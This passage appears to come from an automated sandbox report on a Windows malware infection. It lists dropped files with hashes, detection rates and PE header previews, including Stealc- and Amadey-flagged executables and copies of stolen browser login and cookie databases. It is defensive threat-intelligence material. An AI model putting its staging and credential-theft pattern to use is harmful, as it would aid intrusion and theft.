Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L...Q.-g.........................................@..........................0............@.................................@E...................................E......8...............................@...............<............................text............................... ..`.rdata..PH.......J..................@..@.data....m...`...,...B..............@....rsrc................n..............@..@.reloc...E.......F...p..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\goldddd123[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859703632614266
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtX+AuuweJH9RKC6cmulcfJbBiv0N:pG+XeJH9Rp6RtfNLtkXeJH9Rp6RtfNLj
MD5:	2D6F91549D53930821EA4CF0FBD54B29
SHA1:	8D22716E08327026FD0E0693EB4607008F189A79
SHA-256:	5601BB520CE3526F6A6E23646183E822D531E402BA174225CE8541D57A8B8630
SHA-512:	D8CC636347DDB97E596625A3EA61A6F3AD9083EEDC3421F9E8D19B03C824A3BB2F582B689E341BFD951EC6CE13CF8FE3218325F97B337ED4E3314E23F1EF94C0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	11169792
Entropy (8bit):	7.997458781189106
Encrypted:	true
SSDEEP:	196608:EXJw5XZ54Gu3tLvKixbJ5qtWwgbBnNUm1ae30eL3h8g3SGXm4iF+gPa:Gy3RCBKixdoYwgNNp1IeSQSGWpFj
MD5:	6898EACE70E2DA82F257BC78CB081B2F
SHA1:	5AC5ED21436D8B4C59C0B62836D531844C571D6D
SHA-256:	BCDD8B7C9EC736765D4596332C0FEC1334B035D4456DF1EC25B569F9B6431A23
SHA-512:	CA719707417A095FE092837E870AEFC7E8874EF351E27B5B41E40F46A9E2F6CB2BA915858BC3C99A14C2F1288C71C7DDD9C2ADEE6588D6B43CD3BA276E1585D2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...-b[g...............+.....l...>..%..........@............................. ......{.....`... ..........................................................X... ..............................................`...(...................h................................text...(...........................`..`.data...............................@....rdata...*.......,..................@..@.eh_fram............................@....pdata....... ......................@..@.xdata..p....0......................@..@.bss.....<...@...........................idata..............................@....CRT....`...........................@....tls................................@....rsrc....X.......Z..................@..@.reloc...............n..............@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339215930674792
Encrypted:	false
SSDEEP:	6144:k0wBiMDYtUokCulxMfpbjnekAoQGZRFsnE7w+Uw3NKR9hU/W9:RwMtUoH35nLP7Fa4wx8KRF9
MD5:	68A99CF42959DC6406AF26E91D39F523
SHA1:	F11DB933A83400136DC992820F485E0B73F1B933
SHA-256:	C200DDB7B54F8FA4E3ACB6671F5FA0A13D54BD41B978D13E336F0497F46244F3
SHA-512:	7342073378D188912B3E7C6BE498055DDF48F04C8DEF8E87C630C69294BCFD0802280BABE8F86B88EAED40E983BCF054E527F457BB941C584B6EA54AD0F0AA75
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...K..g......................$......i............@...........................&...........@.................................@...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.8597230357066845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXmAuuweJH9RKC6cmulcfJbBiv0V:pG+XeJH9Rp6RtfNLtcXeJH9Rp6RtfNLr
MD5:	75CF470500D65CE4411790E09E650806
SHA1:	91ACA1838BC6E3868D25E44308F58124B749167D
SHA-256:	F29A920DD390574C50DF03E8F909A8F81A1894AF912AF2D92A9BAF4B57CF1C04
SHA-512:	1C281FE53742A338BECB9AA4EFD2A7E418A66949A7F3D156440E02E2351548F6FF0EAD5D93AAE157509F57D0B4CC3584A9AB623C6446EA389B45B49D0DF85C48
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439296
Entropy (8bit):	6.486801995408641
Encrypted:	false
SSDEEP:	12288:H/RCVy1xtsmUQTXNujba1fM0HRm77vRMmg:ntsouyBM+RmnRLg
MD5:	C07E06E76DE584BCDDD59073A4161DBB
SHA1:	08954AC6F6CF51FD5D9D034060A9AE25A8448971
SHA-256:	CF67A50598EE170E0D8596F4E22F79CF70E1283B013C3E33E36094E1905BA8D9
SHA-512:	E92C9FCD0448591738DAEDB19E8225FF05DA588B48D1F15479EC8AF62ACD3EA52B5D4BA3E3B0675C2AA1705185F5523DCAFDF14137C6E2984588069A2E05309F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L.....%g..........................................@..........................0............@.................................0E...................................E......8...............................@...............<............................text............................... ..`.rdata..@H.......J..................@..@.data....m...`...,...@..............@....rsrc................l..............@..@.reloc...E.......F...n..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1004899001\am209.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439808
Entropy (8bit):	6.48944055080441
Encrypted:	false
SSDEEP:	6144:as9C0eaieHm71o2pL2IMJDoMc2ZNu5GQpsnp/yFPMsXnQODVNIg+cTtgJ7AO+Zj5:as9C0eaieHmO292D3//yFPMsXkJ7gmk
MD5:	CE27255F0EF33CE6304E54D171E6547C
SHA1:	E594C6743D869C852BF7A09E7FE8103B25949B6E
SHA-256:	82C683A7F6E0B4A99A6D3AB519D539A3B0651953C7A71F5309B9D08E4DAA7C3C
SHA-512:	96CFAFBAB9138517532621D0B5F3D4A529806CFDF6191C589E6FB6EBF471E9DF0777FB74E9ABBFE4E8CD8821944AD02B1F09775195E190EE8CA5D3FD151D20D9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L...Q.-g.........................................@..........................0............@.................................@E...................................E......8...............................@...............<............................text............................... ..`.rdata..PH.......J..................@..@.data....m...`...,...B..............@....rsrc................n..............@..@.reloc...E.......F...p..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	3794944
Entropy (8bit):	7.956425596190051
Encrypted:	false
SSDEEP:	98304:SaBCZwNZbJRa6YuWjsnxks5HqRhzYc/D2iBTF:SaMwP3YuWwxks5HQD2iz
MD5:	378706614B22957208E09FC84FCEECE8
SHA1:	D35E1F89F36AED26553B665F791CD69D82136FB8
SHA-256:	DF6E6D5BEAD4AA34F8E0DD325400A5829265B0F615CD1DA48D155CC30B89AD6D
SHA-512:	BEF7A09CE1FFD0A0B169A6EC7C143CA322C929139CA0AF40353502AE22FED455FE10A9B80BA93CC399A88ADD94F921B7AA801033DDAE351F8F8D477781CA476E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Reputation:	unknown
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L.....Lg.....................J....................@................................:):.................................................."..............................................................................0............................MPRESS1..........5......................MPRESS2..............5..................rsrc....".......$....5.............@..............................................................................v2.19....5. ..:.........#.\|c..L,,.h.h}....._.......%M,SH.8..aJ.....31..f.....Y......\|t:/....>.V7....S.N.......^...M?.F..Y..c7F-.p..mZ..>Q.-.\>..q..{.qx.UY...O...R....;...g.-..u%.......9....f...`(\|.r....]...I...9.XO.b.^.&"06..T\|.F.U.d...h.=aU.8.cJ[.H...c.X.71.4[..b,....(/..{..j..M..b....,..2)..W.]?....b..8..'.X... . .o-.BPZ....`.3V........i{...A./E....Q>-...N..'.A........qlA4...a....a7.^{,H^.Q.H,..4U..*...K................H.t]U.9..m.!g.._.9..kb..O....g...5(.."d....."

C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	11169792
Entropy (8bit):	7.997458781189106
Encrypted:	true
SSDEEP:	196608:EXJw5XZ54Gu3tLvKixbJ5qtWwgbBnNUm1ae30eL3h8g3SGXm4iF+gPa:Gy3RCBKixdoYwgNNp1IeSQSGWpFj
MD5:	6898EACE70E2DA82F257BC78CB081B2F
SHA1:	5AC5ED21436D8B4C59C0B62836D531844C571D6D
SHA-256:	BCDD8B7C9EC736765D4596332C0FEC1334B035D4456DF1EC25B569F9B6431A23
SHA-512:	CA719707417A095FE092837E870AEFC7E8874EF351E27B5B41E40F46A9E2F6CB2BA915858BC3C99A14C2F1288C71C7DDD9C2ADEE6588D6B43CD3BA276E1585D2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...-b[g...............+.....l...>..%..........@............................. ......{.....`... ..........................................................X... ..............................................`...(...................h................................text...(...........................`..`.data...............................@....rdata...*.......,..................@..@.eh_fram............................@....pdata....... ......................@..@.xdata..p....0......................@..@.bss.....<...@...........................idata..............................@....CRT....`...........................@....tls................................@....rsrc....X.......Z..................@..@.reloc...............n..............@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859703632614266
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtX+AuuweJH9RKC6cmulcfJbBiv0N:pG+XeJH9Rp6RtfNLtkXeJH9Rp6RtfNLj
MD5:	2D6F91549D53930821EA4CF0FBD54B29
SHA1:	8D22716E08327026FD0E0693EB4607008F189A79
SHA-256:	5601BB520CE3526F6A6E23646183E822D531E402BA174225CE8541D57A8B8630
SHA-512:	D8CC636347DDB97E596625A3EA61A6F3AD9083EEDC3421F9E8D19B03C824A3BB2F582B689E341BFD951EC6CE13CF8FE3218325F97B337ED4E3314E23F1EF94C0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006591001\sintv.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4768256
Entropy (8bit):	5.904266927107329
Encrypted:	false
SSDEEP:	98304:snaxiNyuaPwnj0ckQ3krKt23MZV8vjZriQW/XpC118CV/eQVY8JemgZj7T8ILFhW:ENyu7V8vj9iQlk
MD5:	38FCAA23700E62FB0B3FC2591F82CC80
SHA1:	ABEDD6EC573A6FEDE05D15920F3AC3763062C75C
SHA-256:	FB829A6A8535A443932CD167E8301B5E74C60702B5F7FADE7E9F13A736CE72B0
SHA-512:	5DA88A61C716A9891CB225F36F275040D69915C4C731C2A5C042D5C997CA39241A3E9D6646569468D477F47DB42462C21B58F2DE7F56A84CB145E6CEE478EEEF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...#X]g..........".......G...........G.. ....@...... ........................I.....^.I...`.................................................X.G.T.....H.......................H.......G...............................................G.............. ..H............text...4.G.. ....G................. ..`.rsrc.........H.......G.............@..@.reloc........H.......H.............@..BH.........-........."...X.,.t9............................................(....&..(........s.........s.........s.........s.........s..........0...........~....o.....8...........0...........~....o.....8...........0...........~....o.....8...........0...........~....o.....8...........0...........~....o.....8...........0..B........~.....(......9!...r...p.....(....o....s.............~.....8............0...........~.....8..........."..........Vs....(....t.............(....*.0..

C:\Users\user\AppData\Local\Temp\1y7kvrdy

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qn:qn
MD5:	3F1D1D8D87177D3D8D897D7E421F84D6
SHA1:	DD082D742A5CB751290F1DB2BD519C286AA86D95
SHA-256:	F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
SHA-512:	2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
Malicious:	false
Reputation:	unknown
Preview:	blat

C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439296
Entropy (8bit):	6.486801995408641
Encrypted:	false
SSDEEP:	12288:H/RCVy1xtsmUQTXNujba1fM0HRm77vRMmg:ntsouyBM+RmnRLg
MD5:	C07E06E76DE584BCDDD59073A4161DBB
SHA1:	08954AC6F6CF51FD5D9D034060A9AE25A8448971
SHA-256:	CF67A50598EE170E0D8596F4E22F79CF70E1283B013C3E33E36094E1905BA8D9
SHA-512:	E92C9FCD0448591738DAEDB19E8225FF05DA588B48D1F15479EC8AF62ACD3EA52B5D4BA3E3B0675C2AA1705185F5523DCAFDF14137C6E2984588069A2E05309F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L.....%g..........................................@..........................0............@.................................0E...................................E......8...............................@...............<............................text............................... ..`.rdata..@H.......J..................@..@.data....m...`...,...@..............@....rsrc................l..............@..@.reloc...E.......F...n..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\user\Desktop\random.exe.6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2964992
Entropy (8bit):	6.56493217063802
Encrypted:	false
SSDEEP:	49152:cUPK0E5y8r2i4fPnilRQkyuN+iBvVZ+DTKy:cKK0E88Si4HnilFFsKy
MD5:	B6009D2BAED73BC321B38CE9A13F875C
SHA1:	9759EF65AE6E3E50B9EAEA5708BABDE594950014
SHA-256:	CB304A468BB2BEBD746C4BBA2D3D8A78BA2877AC082191E409EFC1C84A36354C
SHA-512:	9F831EFCE03A9DD2C47547FD32D66256160937E687AB0E7D555F0F05E490E2283CA1333CAEA8ED0CDB90F2C6762ED53CF38C563CB8FE57463923DED5E876657E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................0...........@.......................... 1....../....@.................................W...k.......D.....................0...............................0..................................................... . ............................@....rsrc...D...........................@....idata ............................@...trpkawkh.0......$.................@...ytuuczdu......0.......-.............@....taggant.0....0.."....-.............@...................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\random.exe.6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\AutofillData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cookies.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DownloadData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HistoryData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Logins.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Web.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004899001\am209.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439808
Entropy (8bit):	6.48944055080441
Encrypted:	false
SSDEEP:	6144:as9C0eaieHm71o2pL2IMJDoMc2ZNu5GQpsnp/yFPMsXnQODVNIg+cTtgJ7AO+Zj5:as9C0eaieHmO292D3//yFPMsXkJ7gmk
MD5:	CE27255F0EF33CE6304E54D171E6547C
SHA1:	E594C6743D869C852BF7A09E7FE8103B25949B6E
SHA-256:	82C683A7F6E0B4A99A6D3AB519D539A3B0651953C7A71F5309B9D08E4DAA7C3C
SHA-512:	96CFAFBAB9138517532621D0B5F3D4A529806CFDF6191C589E6FB6EBF471E9DF0777FB74E9ABBFE4E8CD8821944AD02B1F09775195E190EE8CA5D3FD151D20D9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L...Q.-g.........................................@..........................0............@.................................@E...................................E......8...............................@...............<............................text............................... ..`.rdata..PH.......J..................@..@.data....m...`...,...B..............@....rsrc................n..............@..@.reloc...E.......F...p..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_asyncio.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64424
Entropy (8bit):	6.124000794465739
Encrypted:	false
